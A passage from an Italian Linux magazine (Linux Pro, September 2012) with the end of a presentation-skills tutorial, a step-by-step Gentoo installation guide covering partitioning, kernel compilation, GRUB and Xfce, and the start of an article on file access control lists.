cinque minuti oppure ogni dieci. Scegliete quello che è più comodo per voi, ma non basatevi soltanto su di un passaggio a intervalli fi ssi tra una diapositiva e l’altra. Provate a variare il ritmo per rendere il discorso il più naturale possibile. Ci sono poche cose peggiori in una presentazione di essere costretti a sopportare pesanti paragrafi di informazioni, dove la densità del testo è così alta che ci vogliono cinque minuti per leggere una diapositiva mentre si ignora qualunque cosa venga detta. Le vostre diapositive devono essere il contrario. Dovreste provare a trattare solo cinque punti su di una singola diapositiva e cercare di farlo con un singolo rigo per ciascuno. Damian preferisce una grafi ca sobria, senza decorazioni, solo un titolo/intestazione di sezione come segno di continuità. Noi siamo d’accordo. Nessuno vuole œ

È meglio utilizzare immagini solo quando è assolutamente necessario

Il mantra di Damian per la quantità di informazioni nelle vostre presentazioni è “di meno è di più”. Steve Jobs sarebbe d’accordo

Page 57: LinuxPro-N120_Settembre2012

60 LINUX PRO 120

Tutorial Presentazioni

passare attraverso un caleidoscopio di colori, bordi, animazioni e grafi ca per leggere appena poche parole che riassumono il discorso. Le diapositive di Damian possono essere descritte come “sobrie”. Erano monocromatiche e usavano solo un paio di caratteri. Diceva che così sono più facili da produrre e più piacevoli da guardare (sebbene usasse bianco sporco e grigio scuro, perciò il contrasto non era così ottimale). Ha anche menzionato il fatto che i colori possono essere problematici quando si ha a che fare con proiettori poco affi dabili, perciò non basatevi mai su testi evidenziati in rosso, per esempio, perché spesso è la prima lampadina ad andarsene di un proiettore.

Scegliete i caratteri accuratamenteDamian è un vero appassionato di caratteri e raccomanda di usarli solo volutamente. Con questo vuol dire che dovete avere una buona ragione per usare un carattere invece di un altro. Non lasciate che i caratteri corsivi e decorativi abbiano la meglio su di voi. Un semplice carattere senza grazie per le intestazioni e con le grazie per il contenuto è suffi ciente e usate una dimensione tra 36 e 48 punti. Mantenete lo stesso carattere per tutte le vostre diapositive e provate a mantenere la posizione dei vostri dati nella stessa area da una diapositiva all’altra. Damian usa anche due caratteri a larghezza fi ssa per il codice, uno per l’immissione e il risultato della riga di comando e un altro, presumibilmente, per il Perl. Tutto qui. La prima impressione che avete quando vedete le sue diapositive è che siano state fatte in fretta, ma è perché la loro grafi ca non si frappone al messaggio e il messaggio è stato fi nemente cesellato e rifi nito in molte ore di business class sopra l’Oceano Pacifi co e Atlantico. Anche se alcune delle migliori presentazioni che abbiamo visto hanno usato solo immagini e nessun testo, come quelle del fondatore di Creative Commons, Larry Lessig, dovete avere un talento particolare per riuscirvi. Per la maggior parte di noi, le immagini dovrebbero essere usate per spezzare il ritmo di una presentazione e non per diventarne il ritmo. Ovviamente, sono utili per illustrare le cose e possono essere ugualmente utili a inserire un po’ di umorismo o di personalità se sono usate inaspettatamente, ma dovete seguire le stesse regole che usate per il testo. Le immagini non dovrebbero essere troppo complicate, per esempio, e se includete un grafi co o un diagramma, non copiatelo

semplicemente dal vostro foglio di calcolo. Assicuratevi che sia tagliato per illustrare solo l’idea di cui state parlando, piuttosto che diventare un buco nero di dati.

Non affi datevi alle animazioniUn altro aspetto della creazione di diapositive che può causare la perdita della voglia di vivere al vostro pubblico è l’uso di animazioni. Principalmente, queste sono usate come transizioni da una diapositiva alla successiva e sono normalmente scelte per il loro stile appariscente piuttosto che per la loro funzione. Damian pensa che per tenere il vostro pubblico il più immerso possibile nel vostro discorso, le transizioni dovrebbero essere totalmente non appariscenti. Nella sua presentazione di una giornata, aveva più di 650 diapositive e per le transizioni tra loro ha usato o una dissolvenza veloce o un semplice stacco. Questo includeva anche i punti elenco, che di solito apparivano tutti insieme con la diapositiva, piuttosto che attraverso qualche transizione a ogni passaggio. Ci sono state occasioni nelle quali ha avuto bisogno di usare un’animazione per aiutarsi a illustrare un’idea e anche allora lo ha fatto con moderazione. Più spesso, ha usato le diapositive per costruire una semplice animazione a passo uno con le parole o il codice che cambiavano da una diapositiva all’altra. Questo permette alla maggior parte della diapositiva di rimanere esattamente la stessa e i vostri occhi colgono solo la parte che è cambiata. Siete ora arrivati al punto in cui avete sviluppato il fi lo narrativo per la vostra presentazione, fatto il brainstorming dei suoi contenuti per il promemoria e distillato le informazioni

Aiuta veramente che il vostro programma di presentazioni abbia una schermata per la presentazione e un’altra per le note, come fa Impress!

Damian Conway si guadagna da vivere creando e insegnando a creare fantastiche presentazioni

Page 58: LinuxPro-N120_Settembre2012

LINUX PRO 120 61

Presentazioni Tutorial

in una serie di diapositive ben progettate. È quasi ora per la presentazione. Anche se siete nervosi, c’è un’emozione che dovete trasmettere al vostro pubblico sopra ogni altra, ed è la passione. È una parola che, scritta, appare bruttissima e molte persone la usano per descrivere quello che amano, ma una presentazione è la vostra occasione di mostrare che siete appassionati di qualcosa senza dover ricorrere alla parola stessa. E se siete appassionati di qualcosa, è molto più probabile che il vostro pubblico si faccia un giro con voi, anche se non è particolarmente interessato a quello di cui state parlando. È diffi cile ignorare qualcuno che evidentemente è appassionato della materia e tutti noi siamo più propensi a provare le sue opinioni. Dovete rendere la vostra passione contagiosa e il pubblico rimarrà attento e ascolterà quello che avete da dire.

La pratica rende perfettiUn’altra inevitabile verità è che dovrete fare pratica. Senza prima far scorrere tutta la presentazione, non avrete idea di come questi temi suoneranno quando li direte ad alta voce o di quanto impiegherà ogni sezione della presentazione. Damian consiglia di pianifi care la lunghezza delle vostre prove almeno il 10% più breve del tempo che avete a disposizione. Questo permette le interruzioni, le domande e i problemi tecnici e dovreste annotare il tempo che impiegate quando arrivate ai punti principali. Dovreste anche fare pratica di fronte a qualcuno. Non devono essere interessati al vostro argomento, ma qualche forma di pubblico vi aiuterà a essere consapevoli del vostro stile e a restare “in zona”. Damian ammette che ha anche usato foto di un pubblico su di un portatile, poiché anche questo vi aiuta a proiettarvi in avanti e mantenere l’idea di un pubblico in mente. Tuttavia non c’è scappatoia dalla pratica. Dovete veramente farne abbastanza da diventare così familiari con la vostra narrazione da conoscere ogni rigo e il modo di affrontare la sua spiegazione. È solo dopo che siete arrivati a questa fase che potete dimenticarvi dei dettagli e rilassarvi nel ruolo del presentatore. E potete dimenticarvi dei dettagli solo quando li conoscete a memoria. Questo vi aiuterà anche a evitare uno dei trabocchetti più fastidiosi, quando il presentatore fa riferimento alle sue note per quello che deve dire dopo. Più pratica fate, meno dovrete fare riferimento alle vostre note. Per rendere questo ancora più facile, vale la pena

confi gurare Impress, o qualunque programma di presentazioni stiate utilizzando, per usare il proiettore e lo schermo del vostro portatile separatamente. Questo può essere diffi cile da impostare prima dell’inizio di una presentazione, ma normalmente a qualsiasi evento di Linux o di Software Libero ci si aspetta portatili Linux. Piuttosto che rispecchiare lo schermo principale, due uscite di visualizzazione vi permettono di avere una panoramica sul vostro schermo e le diapositive sullo schermo proiettato. La vostra panoramica può includere note per ciascuna diapositiva, come anche anteprime della diapositiva precedente e successiva, utili per tenere traccia della vostra posizione nella presentazione. Impress supporta due schermi in modo predefi nito e potete scegliere quale volete usare dalla fi nestra Impostazione presentazione, che può essere aperta dal menu Presentazione. Quando riproducete la sequenza di diapositive, sarete in grado di utilizzare Impress normalmente fi nché evitate di fare click sull’altro schermo o di usare la rotellina del mouse. Ognuna di queste azioni farà passare alla diapositiva successiva. Purtroppo, Impress non segue le diapositive, ma c’è un’estensione di Oracle che può essere installata che vi darà una console del presentatore, che include le note e le anteprime della diapositiva precedente, corrente e successiva. Il box qui in alto vi spiega come installarla. Concedetevi molto tempo per impostare il vostro hardware e portate sempre una o due copie di sicurezza delle vostre diapositive. Vale anche la pena mettere una copia su un server da qualche parte. Damian consiglia anche di fare dimostrazioni dal vivo, dovunque potete. E considerando il numero di dimostrazioni fallite a cui abbiamo assistito nel corso degli anni, siamo completamente d’accordo. Simulare può essere tanto semplice quanto eseguire una copia locale di pagine Web sul vostro portatile, così che il vostro browser sembri connesso a Internet. Oppure fare uno script per l’immissione e la compilazione della vostra applicazione, Damian ha persino costruito un “IDE Vim” che accetta specifi che istruzioni per realizzarlo. Assicuratevi di non dover fare affi damento sulle dotazioni di un centro conferenze con un centinaio di smanettoni che provano ad accedere alla rete wireless, o che ci siano abbastanza connettori a uno schermo poco affi dabile. Provate a prevenire tutti i potenziali problemi così da potervi rilassare e godervi lo spettacolo. LXP

1 Presenter ConsoleScaricate la versione 1.1.0 dell’estensione da http://extensions.services.openoffi ce.org. Fate doppio clic su di essa e quando Impress si carica, fate click su OK e accettate i termini di licenza.

2 Confi gurare ImpressAprite la fi nestra Impostazioni presentazione dal menu Presentazione e assicuratevi che il Monitor di presentazione sia il monitor principale

3 Uscite e riavviateAbbiamo dovuto riavviare Impress a questo punto, ma quando riappare premete F5 per avviare la Presenter Console sull’altro monitor.

Passo passo Installare la Presenter Console di Impress

Page 59: LinuxPro-N120_Settembre2012

62 LINUX PRO 120

Gentoo Uno sguardo a una distro complessa ma potente

Astenersi deboli di cuore, le righe che seguiranno sono dense di “materiale che scotta”. Nonostante i novizi e i non addetti ai lavori si tengano alla larga,

ciò non signifi ca che altrettanto devono fare i più preparati. State pur certi che sarete immensamente ripagati avendo la pazienza (e il tempo) per imparare qualche trucchetto, eseguire le istruzioni segnate nelle diverse guide e attendere un po’ prima di avere un sistema completamente funzionante con una tra le migliori distribuzioni disponibili. In effetti, per essere un distribuzione defi nite come “diffi cile da installare”, il processo è abbastanza lineare, ma richiede una guida totalmente manuale da parte dell’utente. Mentre altre distribuzioni vi consentiranno di avere un sistema installato in 30-40 minuti, magari anche compresi gli aggiornamenti, una tipica installazione Gentoo può richiedere da un paio d’ore a diversi giorni, a seconda delle scelte fatte e dell’hardware disponibile. State ancora leggendo? Bene! Questo tutorial vi guiderà nei passi necessari a portare a termine l’installazione Gentoo, le tecnologie coinvolte e il modo in cui essere così “diversa” dalle altre renda Gentoo incredibilmente più veloce ed effi cace.

PartenzaL’immagine ISO di avvio di Gentoo è confi nata in 125 MB e serve sostanzialmente ad avviare il sistema base Live e la riga di comando. Da qui, tramite la vostra connessione di rete, potrete scaricare tutti i pacchetti necessari e procedere. Come già accennato, il processo intero sarà abbastanza time-consuming dato che scaricare e compilare tutti i sorgenti di GNOME/Xfce/KDE affi ancati a tutto il software necessario richiederà molto tempo. Una volta avviato l’ambiente Live, il primo passo consisterà nel confi gurare la rete. Usate il comando ip addr per verifi care che l’interfaccia di rete sia stata rilevata e confi gurata correttamente. Se così non fosse non disperate, inclusi nella Live troverete tutti i driver necessari a confi gurare manualmente l’interfaccia. Il comando net-setup offerto, lanciato come net-setup eth0, vi aiuterà a confi gurare la connessione cablata. Potete anche confi gurare le schede wireless, dovendo però specifi care anche ESSID, password e altro. Per maggiori dettagli consultate il sito http://bit.ly/7lNum7. Il prossimo passo consiste nel partizionamento del disco. Il manuale uffi ciale raccomanda di tenere la partizione /boot separata, ma nonostante ciò è possibile scegliere se usare un’unica partizione gigante oppure crearne una diversa per ogni parte fondamentale del fi lesystem quali /home, /boot. In questo caso non ci sono requisiti particolari, valutate i pro e i contro di ogni situazione e proseguite oltre. Per partizionare il disco avrete a disposizione FDisk, CFDisk o Parted a seconda delle preferenze; in caso non abbiate mai usato nessuno di questi software usate CFDisk o FDisk che risultano decisamente più semplici e intuitivi. Create quindi almeno tre partizioni dedicate rispettivamente a swap, /boot e /. Fate riferimento a http://bit.ly/s6yqEC per ulteriori linee guida in merito all’uso di FDisk. Una volte

create le partizioni dovrete specifi care quali fi lesystem utilizzare; ipotizzando che abbiate scelto /dev/sda2 per lo swap, /dev/sda1 per /boot con fi lesystem ext2 e /dev/sda3 per / con ext3, dovrete eseguire i seguenti comandi mkswap /dev/sda2 swapon /dev/sda2 mkfs.ext2 /dev/sda1 mkfs.ext3 /dev/sda3Se non vengono restituiti errori durante la formattazione dei fi lesystem è tempo di montarli e procedere spediti lanciando i comandi mount /dev/sda3 /mnt/gentoo mkdir /mnt/gentoo/boot mount /dev/sda1 /mnt/gentoo/boot cd /mnt/gentooLo striminzito ambiente di installazione Live a questo punto deve appoggiarsi alle risorse offerte online, scaricando un fi le archivio chiamato (per ragioni storiche) stage3 direttamente dai mirror. Fortunatamente l’ambiente Live offre un browser testuale che potrà esservi d’aiuto nel reperire il fi le desiderato. Se non siete già nella directory /mnt/gentoo spostatevi usando il comando cd e poi lanciate links http://www.gentoo.org/main/en/mirrors.xmlQuesto comando vi mostrerà una lista di mirror tra cui dovreste scegliere quello a voi più vicino usando i tasti cursore per spostarvi. Entrate nella directory Release e scegliete l’architettura del vostro sistema (x86 se 32 bit o amd64 se 64 bit). Ora spostandovi nella directory current-stage3 cercate il fi le corrispondente alla famiglia del vostro sistema, ad esempio la directory x86 contiene i fi le per le famiglie i486 e i686. Evidenziate il fi le che ha un nome simile a stage3-i686-*.tar.bz2 dove -* è la data dell’ultima release scritta usando la notazione YYYYMMDD. Prima di continuare, però, è importante impostare correttamente la data; sebbene saltare questo passo non comprometta inevitabilmente l’installazione è saggio occuparsene ora per evitare spiacevoli inconvenienti più avanti. Usate il comando date per verifi care l’esattezza della data e, in caso non sia impostata correttamente, rilanciatelo

INTERMEDIOInstallare Gentoo senza avere una connessione a Internet decente è come festeggiare Halloween senza travestimento e dolcetti

Gentoo: potenza e libertà di sceltaSiete tra quelli che pensano che Gentoo sia uno strumento dedicato a pochi eletti? Nelle prossime righe potrete leggere gli enormi vantaggi offerti a fronte dell’impegno profuso

Page 60: LinuxPro-N120_Settembre2012

LINUX PRO 120 63

Gentoo Tutorial

specifi cando l’orario corrente come nel seguente comando: date MMDDhhmmYYA questo punto potete procedere senza indugio all’estrazione del tarball appena scaricato con il comando tar -xjpvf stage3-i686-*.tar.bz2Il passo successivo consiste nello scaricare l’ultimo snapshot del gestore di pacchetti portage come fatto per il fi le stage3. Questa volta scaricate il fi le portage-latest.tar.bz2 dalla directory snapshots ed estraetelo usando il comando tar -xjvf portage-latest.tar.bz2 -C /mnt/gentoo/usrA questo punto si può sostanzialmente cominciare a usare l’ambiente appena estratto tramite chroot. Prima di procedere in tal senso però è necessario assicurarsi che la connessione a Internet funzioni anche nel nuovo ambiente copiando il fi le /etc/resolv.conf nella directory appropriata: cp -L /etc/resolv.conf /mnt/gentoo/etc/Dovranno anche essere montate alcune directory di sistema accessorie, utili al funzionamento del meccanismo di chroot: cd / mount -t proc none /mnt/gentoo/proc mount -R /dev /mnt/gentoo/devIn sostanza il processo di chroot consiste nel passare da un ambiente Linux a quello montato in un percorso specifi cato. Lanciate il comando seguente e vi troverete catapultati nel vostro futuro sistema, al momento ancora semi-installato e racchiuso nel chroot: chroot /mnt/gentoo /bin/bash env-update source /etc/profi le

Pronti, partenza, confi gurazione!È ora tempo di scegliere un profi lo generico da usare per l’installazione desiderata. Le opzioni sono desktop, server, developer e altre in costante evoluzione. Eseguite il comando eselect profi le list per visualizzare la lista delle scelte disponibili. Nell’esempio verrà usata l’opzione “desktop”, quindi si dovrà lanciare il comando eselect profi le set 2Per impostare il fuso orario corretto scegliete il fi le appropriato dalle directory contenute in /usr/share/zoneinfo e copiatelo in /etc/localtime come segue: cp /usr/share/zoneinfo/Europe/Rome /etc/localtimeIl prossimo passo consiste nell’impostare la variabile USE all’interno del fi le /etc/make.conf, a seconda di quali funzionalità vorrete attivare in fase di installazione e compilazione. Ad esempio per un’installazione Xfce potreste usare USE=“-gnome -kde -minimal -qt4 dbus jpeg lock

session startup-notifi cation thunar udev X alsa” Più o meno allo stesso modo potete scegliere di usare GNOME o KDE. Se non avete mai usato un editor di testo dalla riga di comando è vivamente consigliato usare Nano, tra quelli disponibili sicuramente il più intuitivo e meno complesso d gestire (basta seguire le indicazioni del menu nella parte bassa dello schermo). Per aprire il fi le /etc/make.conf digitate nano -w /etc/make.confUna volta fi nita la modifi ca basterà premere Ctrl+O per salvare le modifi che, confermando o digitando il nome del fi le su cui salvare. Per uscire dall’editor di testo basta premere Ctrl+X.

Compilazione del kernelUno degli spauracchi che tiene lontani la maggior parte degli utenti da Gentoo è proprio la compilazione del kernel. Forse agli inizi della lunga strada percorsa da questa distribuzione tale compito poteva ancora risultare molto complicato ma, fortunatamente, con il tempo la comunità stessa ha creato modalità e strumenti atti a rendere il compito decisamente più semplice. Prima di tutto bisogna scaricare i sorgenti del kernel da Internet. Scaricare gli 80 MB di sorgenti potrebbe richiedere qualche minuto, soprattutto se la vostra connessione non è propriamente una scheggia. Eseguite il comando emerge gentoo-sources per cominciare il download che successivamente estrarrà i fi le risultanti in /usr/src. A questo punto si è pronti per iniziare la confi gurazione del kernel. Spostatevi nella directory /usr/src/linux ed eseguite il comando make menuconfi g. Si avvierà così un sistema di menu testuali (basati su Ncurses) adatti all’uso nel terminale che faciliteranno la scelta delle opzioni interessate. In alternativa si può usare un metodo ancora più minimale (make confi g) basato esclusivamente su una serie di domande testuali, senza possibilità di tornare indietro per correggere eventuali errori, oppure la controparte grafi ca (make xconfi g) che, come suggerisce il nome, ha però bisogno di un server grafi co funzionante. Procedendo quindi con il tool menuconfi g dovrete scegliere le opzioni corrispondenti al processore della famiglia corretta, eventuali driver per l’hardware presente sul vostro sistema e diverse altre opzioni tra cui i fi lesystem supportati. Ad esempio, di default il kernel non supporterà ext2, ma se avete fatto una partizione di /boot separata è molto probabile che l’abbiate formattata usando proprio questo fi lesystem. Troverete tuttavia che alcune scelte sono già state fatte in maniera abbastanza generica in modo da soddisfare la maggior

Aggiungete l’opzione FEATURES=“parallel-fetch” al fi le /etc/make.conf per indicare a emerge di scaricare i sorgenti del pacchetto successivo mentre è impegnato nella compilazione.

Tip

Diverse opzioni saranno già abilitate nel menu di selezione del kernel, eliminate tutto ciò che non vi serve

Gentoo contro tuttiA differenza della maggior parte delle altre distribuzioni, Gentoo non offre pacchetti precompilati (ad esempio i pacchetti RPM o i Deb) da installare con il gestore. Quello che invece è presente è un ottimo gestore di software chiamato Portage che renderà semplicissima la gestione del software installato partendo dalla compilazione sul vostro sistema. Inoltre altre distribuzioni come Ubuntu o Fedora offrono delle release con cadenza regolare, mentre Gentoo viene defi nita coma una distribuzione rolling release (anche Arch Linux lo è), sostanzialmente appoggiandosi a tanti

piccoli aggiornamenti continui del sistema invece che aspettare una eventuale major release in un preciso momento dell’anno. Altro aspetto particolarmente interessante è il grado di controllo che l’utente ha su quel che viene installato (e con quali funzionalità) nel proprio sistema, infatti, mentre con Ubuntu il set di software installati è predefi nito, con Gentoo questa scelta viene demandata all’utente. L’insieme di queste caratteristiche rende Gentoo praticamente unica e ad oggi incontrastata nel campo delle distribuzioni source based, ovvero basate sui sorgenti.

œ

Page 61: LinuxPro-N120_Settembre2012

64 LINUX PRO 120

Tutorial Gentoo

Se non vi piace Nano e siete abituati a usare Vim potete sempre lanciare USE=“-X” emerge vim.

Tipparte degli utenti. D’altronde più siete interessati a funzioni recenti o esoteriche e meno possibilità avrete che queste siano già abilitate. Man mano che procedete assicuratevi di selezionare come “builtin” (*) i driver necessari all’avvio del computer e come “modulo” (M) quelli che invece preferite caricare solo quando necessario. Questa scelta alleggerirà il kernel e avrà l’effetto immediato di abbreviare i tempi di compilazione e avvio oltre a diversi altri effetti benefi ci secondari. Quando avrete selezionato tutte le opzioni necessarie uscite da menuconfi g salvando le modifi che e digitatemake && make modules_installPartirà così la compilazione vera e propria del kernel e, a seconda delle opzioni scelte e delle risorse del vostro sistema, potrebbe richiedere da qualche minuto a un’ora o più. Se vi sentite particolarmente frettolosi aggiungete l’opzione -j seguita dal doppio del numero dei core del vostro processore più uno (esempio 4 core diventa -j9) così da lanciare in parallelo quel determinato numero di compilazioni parallele sfruttando al massimo le risorse disponibili. Attenzione che talvolta questo processo può portare a problemi di compilazione, che comunque risultano evidenti in quanto il processo eventualmente verrà terminato restituendo un errore. In tal caso riducete il numero fi no a eliminare del tutto l’opzione -j, il processo di compilazione ricomincerà da dove si è interrotto, sistemando anche il punto in cui si era bloccato. Esiste un altro metodo di compilazione che dovrebbe facilitare la vita ai novizi chiamato genkernel (vedere il box apposito) sostanzialmente occupandosi auto-magicamente della confi gurazione e compilazione del kernel; il problema è che questo sistema non è affi dabile al 100%, quindi se vi sentite avventurosi provate pure ma siate pronti a tornare ai metodi classici in caso le cose non andassero come previsto. Finita la compilazione potete proseguire copiando il risultato nella directory di /boot cp arch/x86_64/boot/bzImage /boot/kernel-3.4.4-gentooPotete specifi care il nome che volete al fi le del kernel nella partizione destinazione. La maggior parte delle persone lo chiama direttamente vmlinuz,linux, gentoo-sources-kernel o altre soluzioni simili; molti accompagnano il nome alla versione attuale del kernel per ricordarsi a colpo d’occhio quanto sia aggiornato il kernel in uso. Tenete a mente il nome scelto dato che vi servirà in fase di confi gurazione del menu di avvio.

Ancora un po’ di confi gurazione Per concludere la prima fase è necessario imbarcarsi in un po’ di modifi che addizionali semplici ma cruciali. Per cominciare si dovrà creare il fi le /etc/fstab, che contiene informazioni su come montare ogni partizione con le rispettive impostazioni, se gli utenti regolari possono accedervi e altro. Si comincia avviando l’editor di testo con il comando nano -w /etc/fstab. A seconda della vostra confi gurazione il contenuto del fi le dovrebbe assomigliare a quanto segue: /dev/sda1 /boot ext2 defaults,noatime 1 2 /dev/sda2 none swap sw 0 0 /dev/sda3 / ext3 noatime 0 1 proc /proc proc defaults 0 0Per una spiegazione più esaustiva riguarda l’uso di fstab è meglio riferirsi direttamente alla pagina su Wikipedia (http://bit.ly/7tMduy). I prossimi due fi le da modifi care sono /etc/conf.d/hostname e /etc/conf.d/net per specifi care rispettivamente l’hostname del sistema e il nome del dominio DNS in fase di installazione. Avrete parecchio a che fare con il fi le net dato che contiene molti aspetti della confi gurazione di rete, oltre il già citato nome del dominio DNS, quali l’uso del servizio DHCP o l’indirizzo IP statico associato alle varie interfacce di rete. Se usate DHCP dovrete aggiungere o modifi care una riga contenente confi g_eth0=“DHCP”. Ovviamente un’operazione simile va effettuata per ogni scheda di rete presente sul vostro sistema. Se le indicazioni all’interno del fi le non sono suffi cienti potete riferirvi al fi le /usr/share/doc/openrc-*/net.example.bz2 per avere più dettagli al riguardo. Ultimo passo prima di procedere oltre è di assicurarsi che il servizio di rete sia lanciato all’avvio: rc-update add net.eth0 defaultÈ ora il momento di installare due strumenti necessari a offrire due funzionalità base del sistema, rispettivamente un sistema di log e uno di cron: syslog-ng e vixie-cron. Per installare entrambi basterà digitare emerge syslog-ng vixie-crone, come già fatto in precedenza per i servizi di rete rc-update add syslog-ng default rc-update add crond defaultAdesso è il momento di occuparsi del bootloader. Gentoo è una delle poche distribuzioni a offrire ancora la scelta tra GRUB e Lilo. D’altra parte sarebbe un peccato perdersi tutte le opzioni che le ultime versioni di GRUB offrono, quindi useremo questo. Lanciando il comando emerge grub installerete il software necessario. Questo fi le dovrebbe contenere una sezione simile alle righe seguenti:

Gentoo offre diverse versioni per ogni pacchetto, da quelle più datate alle ultimissime versione ancora non testate

Kernel: modulo o built-in?La compilazione del kernel consente di abilitare le feature scelte in due modalità diverse: potete includerle direttamente nel kernel oppure compilarle come modulo da caricare al momento del bisogno. Usando menuconfi g per includere la feature come built-in basta premere Y. Questa scelta verrà segnalata nel menu come un asterisco (*) nella casella relativa all’opzione scelta. Altrimenti premendo M verrà selezionata come modulo. Più feature vengono incluse nel kernel come built-in, più questo sarà pesante, più memoria occuperà e più tempo ci metterà a essere

caricato. Questi non sono gli unici criteri con cui scegliere tra built-in e modulo dato che, come già segnalato, solo le feature non modularizzate saranno automaticamente disponibili all’avvio, il resto andrà caricato esplicitamente quando necessario. Ad esempio, se avete una periferica che usate raramente, ad esempio il Bluetooth, identifi cate il driver e selezionatelo come modulo così da risparmiare tempo e preziosa memoria e successivamente caricate il necessario a runtime solo quando veramente vi serve.

Se incappate nell’errore che indica l’assenza delservizio net.eth0 al momento di impartire il comandorc-update add net net.eth0 default, impartite prima diesso i due comandi seguenti: cd /etc/init.d eln -s net.lo net.eth0.

Tip

Page 62: LinuxPro-N120_Settembre2012

LINUX PRO 120 65

Gentoo Tutorial

default 0 timeout 7 title Gentoo Linux root(hd0,0) kernel /boot/kernel-3.4.4-gentoo root=/dev/sda1Le varie sezioni confi gurate cambieranno a seconda della vostra confi gurazione, ad esempio se avete creato o meno una partizione di /boot separata o no. Inoltre, se il vostro sistema offre un sistema di dualboot con altri sistemi dovrete aggiungere una voce per ognuno di essi. In particolare nelle linee citate sopra potete notare come venga specifi cata il sistema di default, il punto in cui trovare il kernel e un timeout di selezione del menu di sette secondi. Per copiare tutte le partizioni rilevate dal sistema si dovrà fare una selezione del fi le /proc/mounts, creato dal sistema Live, e copiarlo in /etc/mtab: grep -v rootfs /proc/mounts > /etc/mtabper poi procedere a installare GRUB nell’MBR del dispositivo scelto (/dev/sda nell’esempio): grub-install /dev/sdaIn questo modo anche il gestore di avvio sarà in posizione consentendovi così di avviare il nuovo sistema. A questo punto dovete impostare una password all’utente root per poi poter uscire dal chroot, smontare le partizioni usate e procedere al riavvio. passwd # vi verra’ chiesto di inserire la nuova password exit sync umount /mnt/gentoo/boot /mnt/gentoo/proc /mnt/gentoo/dev /mnt/gentoo rebootIn caso il boot fallisca dovrete avviare nuovamente il sistema Live, rientrare nel chroot dopo aver montato le partizioni opportune e sistemare il problema. Ripetete questo

processo iterativo fi n quando non riuscite ad accedere al sistema appena installato. Una volta avviato il nuovo sistema potrete loggarvi con l’utente root e da qui creare il vostro utente personale, assegnandogli i gruppi scelti: useradd -m -g users -G wheel,audio,net,portage,games, video -s /bin/bash myuser passwd myuserDa qui potrete scegliere se continuare a usare l’utente root per le ultime operazioni di installazione oppure se preferite passare all’utente non privilegiato lanciando emerge tramite sudo o su -c.

X e XfceI passi mancanti per arrivare ad avere un ambiente grafi co funzionante sono principalmente tre: defi nire i driver grafi ci, installare Xorg e poi un ambiente desktop, ad esempio Xfce, GNOME o KDE. Prima di procedere all’installazione vera e propria è bene specifi care alcuni fl ag da usare durante la compilazione: echo “x11-base/xorg-server udev” >> /etc/portage/package.useper poi proseguire installando i pacchetti necessari: emerge xorg-drivers xorg-serverAdesso manca solo la scelta dell’ambiente desktop da usare. Nell’esempio fi n dall’inizio si è scelto di usare Xfce, anche perché questo sistema risulta ben bilanciato tra le funzionalità offerte e il tempo necessario ad ultimare la compilazione. emerge xfce4-metaUna volta fi nito il processo è opportuno installare anche un gestore di login grafi co; una buona scelta in tal senso è slim. emerge slim rc-update add slim default echo XSESSION=\“Xfce4\” > /etc/env.d/90xsession /etc/init.d/slim startEffettuato il login dovreste trovarvi nella vostra sessione Xfce e da qui si tratta solo di continuare a installare il software che vi serve e confi gurarlo in maniera opportuna. I software che si cerca di acquisire in questo stadio sono un browser, l’editor di testo preferito, un client e-mail e altri strumenti simili. Una volta in possesso degli strumenti minimi si può procedere a installare giochi, pacchetto offi ce, software multimediale e qualsiasi altro software vi possa venire in mente. Come avrete avuto modo di notare, se avete bisogno di un sistema pronto all’uso in un’ora Gentoo non fa decisamente al caso vostro. Se però avete la pazienza di seguire i passi necessari, ciò che otterrete in cambio è una conoscenza approfondita di come e cosa fa funzionare la vostra Linux box, oltre ad avere un sistema ultra-performante, con il software più aggiornato e la scelta più ampia che si possa trovare in tutte le distribuzioni Linux. LXP

È semplice compilare il kernel, quel che è diffi cile è non invecchiare troppo mentre si cerca di capire tutte le interessanti opzioni disponibili

Compilazione a runtimeLa prima compilazione del kernel fortunatamente non è vincolante nel senso che potrete sempre aggiungere (o rimuovere) nuove funzionalità successivamente. Se, ad esempio, acquistate una nuova periferica, oppure scoprite di avere la necessità di supportare un fi lesystem aggiuntivo, basta compilare il modulo corrispondente per avere la nuova funzionalità pronta in pochi secondi. Spostatevi nella directory con i sorgenti /usr/src/linux e come utente root digitate make menuconfi g

Se decidete di aggiungere nuove funzionalità integrandole come built-in dovrete ricordarvi di copiare il nuovo kernel nella partizione di boot e di riavviare il computer prima di poterle usare. Se invece vi basta avere la nuova funzionalità disponibile come modulo dovrete solo lanciare make modules && make modules_install depmod -aA questo punto non resta che caricare il nuovo modulo usano il comando modprobe e voit la, la feature è servita.

GenkernelSe non siete dei puristi della compilazione del kernel e preferite che uno strumento faccia il lavoro sporco al posto vostro, Genkernel è quel che fa per voi. Le funzionalità offerte da questo strumento sono molte e molto potenti. Per indagare a fondo potete trovare la documentazione uffi ciale all’indirizzo www.gentoo.org/doc/en/genkernel.xml ma nella maggior parte dei casi vi basterà lanciare il comando genkernel --splash --mountboot --menuconfi g --install --save-confi g --cleanRicontrollate nel menu di confi gurazione che ci sia tutto quello che vi serve e il resto verrà gestito automaticamente da Genkernel.

Dovreste anche installare logrotate dato che syslog-ng non vi permette di effettuare la rotazione dei log.

Tip

Page 63: LinuxPro-N120_Settembre2012

66 LINUX PRO 120

Permessi dei fi le Decidi chi può accedere ai tuoi fi le usando le ACL

Gli utenti Linux passano attraverso i tre stati seguenti quando si tratta di proprietà dei fi le e permessi. Il primo è perplessità: “perché è così e perché

non posso scrivere un fi le qui?”. Il secondo è la comprensione di quanto utile sia l’intero sistema con la sua capacità di proteggere i fi le da modifi che o cancellazioni involontarie o deliberate. Il terzo stato, che non colpisce tutti, è la frustrazione dei limiti di tale sistema. La principale limitazione è che ogni oggetto – fi le o directory – può avere un solo proprietario, che va bene fi ntanto che c’è un solo utente nel sistema (notate che non stiamo contanto root tra gli utenti – il superutente in genere non usa il sistema, ma lo amministra solamente). Non appena vi ritrovate con più di un utente che si aggira nel vostro Linux, e volete che ognuno possa modifi care i fi le dell’altro, le cose diventano un po’ complicate. Sono diverse le situazioni in cui ciò può capitare: potreste volere una directory comune per tutta la famiglia nella quale memorizzare e organizzare foto, oppure potreste aver bisogno di condividere fi le tra vari utenti o dipartimenti in un uffi cio. Potreste inserire tutti gli utenti in un unico gruppo e usare una directory di proprietà di questo gruppo, e anche scrivibile da esso, ma ogni volta che qualcuno crea un nuovo fi le o una nuova directory, questi appartengono e sono scrivibili, di default, solo da questo utente.

